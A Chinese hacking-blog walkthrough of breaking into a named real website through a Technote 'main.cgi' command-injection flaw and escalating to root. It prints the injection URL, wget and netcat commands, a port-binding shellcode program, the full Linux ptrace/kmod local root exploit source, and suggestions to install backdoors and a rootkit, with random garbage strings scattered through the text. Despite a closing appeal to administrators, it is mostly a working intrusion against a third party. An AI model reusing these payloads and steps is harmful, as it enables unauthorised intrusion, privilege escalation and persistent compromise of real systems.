从web漏洞到系统root权限过程全展现

韩冰

作者：cnbird

. o) `2 P, y+ W) ] V

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

0 {" S* X3 C* F- \+ W7 @' M

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

7 p+ H( e; {, }2 K& S

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

5 ~6 P! f# a9 Q3 w# p7 k& }

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

% w& {+ P7 B/ s+ I& K/ }, B

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

9 h5 V4 H* V; V U" K z$ D

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

9 p6 T8 b3 n/ K# r

个漏洞以WEB进程权限在系统上执行任意命令。

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

2 z, Y3 p0 @2 D

数内容，可能以WEB进程权限在系统上执行任意命令。

给出利用方法

5 m b9 m1 ^% i6 v* p4 C, ]" g. S4 B; C

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

) M$ e5 ]6 o# S- ~, L. O* ]6 G; r

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

^8 g5 C" {! Q \$ c

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

5 o# M6 `1 H* S$ R) C8 A3 P

^_^.

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

. q8 p2 t. A' f6 w/ ?

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

5 A y3 h) s5 d+ Z9 G, P! o

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

结果如图1

7 [, ?. Y" t! i! }1 C7 z+ P

) A, C4 t0 b$ K* |8 ^& s! y

大家看到结果了

/ E* a0 W7 h. e! T9 q# S9 \% P

uid=99(nobody) gid=99(nobody) groups=99(nobody) - D2 q9 e' l# G5 P& d- }& ]/ o r下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， 我程序的工作 g% `) @, A4 p$ y+ c: r3 \1 ]界面。如图2

1 m5 w& f9 e; \: a E

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

/ U, |7 H& b+ y5 V

不多，

如图3

3 k% Y5 F% N( s8 J9 x0 Z9 l" l

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

2 O7 p8 J4 H+ I/ K

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

不错，能拿到/etc/passwd。

9 E( f" ?% d& p0 U, a

如图4

8 |, ^# V( ?% t! V; s

7 \8 c6 y$ H3 r" j1 y

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

3 g7 ]- b8 c. `4 G3 t& I5 \# E

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

, V% q! H: B/ |

如图5

' J& l2 V6 ^ g

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

. E; d% @9 s9 j

This one works fine

7 ^$ E3 u( I5 q% ?$ ^& M0 N8 @: D. h

http://rst.void.ru/download/r57phpbb2010.txt

* u) c f3 L8 H% |$ i0 _* Z5 @5 F6 q

upload, someth like this

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

2 e7 {0 ^% Y% d# A

exec on victim hots same shit

and binding shell

& ~; R! U6 t& s/ h' \, R0 q1 `/ l

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

1 }, }$ B& _$ g; O% Q

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

This would be ideal for a system which you didn't have a direct login shell upon.

9 F2 O$ M5 W& E" Y) S$ @ \2 ?

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

, U3 c3 h2 O" @" [

给出代码

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 * - by bighawk (bighawk@warfare.com) * * This shellcode binds a shell on port 20000 8 S+ k% ~8 i( ]9 o * t# V" ^+ R5 @+ v/ Y6 Z) | * stdin, stdout and stderr are dupped. accept() arguments are sane. */

char code[] =

- v) A9 G, n$ j) F' a, p7 y

"\x31\xdb" // xor ebx, ebx - A9 |1 S' J! ^9 t) a/ d "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 ! i; |3 {6 J6 F/ ?! ` "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx 0 m, J. Y( D* |0 D# H& ` "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h % A* V5 }3 u. C4 T "\x89\xc7" // mov edi, eax % |; R* j) `1 H- m "\x52" // push edx " `2 N$ p% q9 d4 k! p& J "\x66\x68\x4e\x20" // push word 8270 8 h% B/ O8 F5 j) U "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp ; v" a; i, _! f% g5 F4 O$ k( e5 M "\xb0\x66" // mov al, 102 * y$ U4 T* z+ l+ x1 P/ O* V& a$ \) B "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx # n' ?! Z9 m3 Y9 t: \, ]) C "\x43" // inc ebx & G o+ V" o- F7 C3 a! b* [ "\xcd\x80" // int 80h "\x50" // push eax : w* I6 |6 }# O "\x50" // push eax 9 w' L& h) W& G% T4 `- r8 B "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 - c8 ^, p( Z, C* F$ G2 { l "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 : P5 T* x3 @* m4 I3 i4 H, L "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx ; d: k/ }9 h2 v) F "\xe2\xf8" // loop lp , ` z: U& T$ p0 n8 h9 u0 c2 O! P "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx . k# x3 q# r6 D1 Q( P$ {5 t "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 + w* [6 W) B( @7 I9 f. w# |1 v "\xf6\xd0" // not al , Z7 ~5 C( @# ^2 G& q% [% C "\xcd\x80"; // int 80h

2 R. e7 d0 |4 E3 m) {! m; d2 U

' ` B' f, `, B8 O' p$ C# omain() { : K! c- a; |4 c! _- e void (*a)() = (void *)code; 6 s; d9 h/ v! z6 z0 d int i; printf("size: %d bytes\n", strlen(code)); printf("Testing for cntrl characters.. "); 7 Q* f8 u; C9 w+ f5 {. j for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); printf("PASSED\n"); . h, l4 I3 T# U1 k/ H( \ a(); / m7 J) {/ U7 B6 h% c- \/ c} 好了我们已经知道该下载地址

韩冰

http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， 就可以用wget这个命令来下载了，输入 wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 就是下载这个shell.c到/tmp目录下，如图6

$ i0 P& b/ T9 ~5 T) |然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 1 N$ F7 a1 V& X+ v) P! G5 ?' Y) _2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs 这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 & p2 Y) ?% [7 X& N. A3 f: H" U. U4 B在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 ! U% D9 u7 s Z8 r[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 12gcc: /usr/bin/gcc 好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind 编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， + T. u5 A" C. N0 j/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" , y; R, J+ X: C, o1 g3 m呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， # O! `/ \3 S+ k- F( KNote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 3 O4 t/ p' V/ i ?5 G4 L; B+ ~(nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* * Linux kernel ptrace/kmod local root exploit / N, x! t& _/ U- K. Y* * This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. 9 I; {* t/ B( M1 U* 1 {$ E) ?) y; z* Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat 4 _6 `4 R' q! ~4 m+ G1 L- C# h* and others. 6 z9 P+ }; x2 h8 a9 `2 I* * Wojciech Purczynski <cliph@isec.pl> * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* ( d( \0 `* I% X7 T2 Q% R. U j/ U* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY ! }4 }3 u/ Y. s, g U3 j+ c( E* * (c) 2003 Copyright by iSEC Security Research */

#include / g( L: w4 Z" M9 q) ~#include 1 I, E5 W5 k0 S. F {#include # E% `: v n2 `2 S#include #include . @: {; a# g1 Y5 g6 u1 f#include #include " _$ D# O6 z2 L7 k# Y8 \#include 5 Y4 ]" l8 h7 w/ n' p' u4 v+ E: }#include 5 u( d+ V9 Z# s& s; T7 g. P#include " ^, Q! i/ E3 O& H2 _( }#include #include + }) \1 @2 \) {. T0 v#include #include #include #include

char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" 2 M v7 W. \/ P1 R" r"\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" 9 ~, t4 c N; v1 c G$ N5 b"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; pid_t child = 1; # I( t9 H( r9 v" gpid_t victim = 1; / M0 O8 g; e( Z4 ?, ivolatile int gotchild = 0;

void fatal(char * msg) { perror(msg); % C$ i' c7 U( w- M1 j' n+ `$ Hkill(parent, SIGKILL); : h6 _& T! s2 k, V5 p0 q+ m( ykill(child, SIGKILL); kill(victim, SIGKILL); # \) ]1 _; c1 B$ E* I1 e6 Q: I}

void putcode(unsigned long * dst) { % Y; k: s# I# c1 `# mchar buf[MAXPATHLEN + CODE_SIZE]; # t+ T- X( h. _, R. M* aunsigned long * src; J- i) S- b% h3 C ]. o. P7 Yint i, len;

memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); o4 I3 N5 r+ R0 Z( Tif (len == -1) fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; buf[len] = '\0';

src = (unsigned long*) buf; for (i = 0; i < len; i += 4) 9 p* N) K( R% n. j7 S* Oif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); ; m5 c% ~4 z: U; S" q1 {9 y}

void sigchld(int signo) { struct user_regs_struct regs;

if (gotchild++ == 0) / t0 |. I8 M, z/ ]. R- Sreturn;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) * C+ E# _* c; i9 n: nfatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) : r0 L5 t* x* lfatal("[-] Unable to detach from victim");

exit(0); }

void sigalrm(int signo) * j3 s1 C' ?( o( B1 m# ^+ H{ errno = ECANCELED; ( m8 p% p! r; R% [3 L9 Wfatal("[-] Fatal error"); 5 G# `, X- L6 G9 K) X Y6 G}

void do_child(void) { ( @( E8 |. g& |# `0 P0 k, jint err;

child = getpid(); victim = child + 1;

signal(SIGCHLD, sigchld);

do 9 ]3 y+ Z2 @% a9 m. {0 ~: Zerr = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH);

if (err == -1) fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); ! U( C( A/ e' v1 Twhile (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n");

for(;;); . d% p K# S' j" s# x( l. n8 s}

void do_parent(char * progname) { ' O; D8 A- p/ N$ [) xstruct stat st; int err; errno = 0; S3 k1 g# p% j( v& T: l3 A3 Esocket(AF_SECURITY, SOCK_STREAM, 1); ! O% G6 A& L5 J+ V( Fdo { % \8 P t3 Y( @, z* ^' eerr = stat(progname, &st); } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) fatal("[-] Unable to stat myself");

alarm(0); 0 t' A; j; {& b4 R! Jsystem(progname); & p# c9 e0 W8 ~2 ]# G% M}

void prepare(void) $ L# m0 M2 l$ f{ ' G2 r* d( [4 j: E* E5 v0 G1 Gif (geteuid() == 0) { initgroups("root", 0); ; E- s% j( u' j- I7 ]: Ksetgid(0); # \$ P4 ~( T. y+ |9 wsetuid(0); % E4 ]3 H4 n. p' ^execl(_PATH_BSHELL, _PATH_BSHELL, NULL); ' h: X* s: k! k, l! }& Ffatal("[-] Unable to spawn shell"); 3 i; G [/ H) q/ J, r} }

int main(int argc, char ** argv) * u, ~! a- L- t# l. [{ prepare(); signal(SIGALRM, sigalrm); + {7 R& j# |: P" N+ A% ?alarm(10);

parent = getpid(); child = fork(); ; P; A8 X+ X @# G. ], i1 d8 z2 bvictim = child + 1;

if (child == -1) fatal("[-] Unable to fork");

if (child == 0) do_child(); else 2 P& @$ z q c; [ m/ udo_parent(argv[0]);

return 0; ) M) x7 R" ~+ p9 y. ^( a}CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.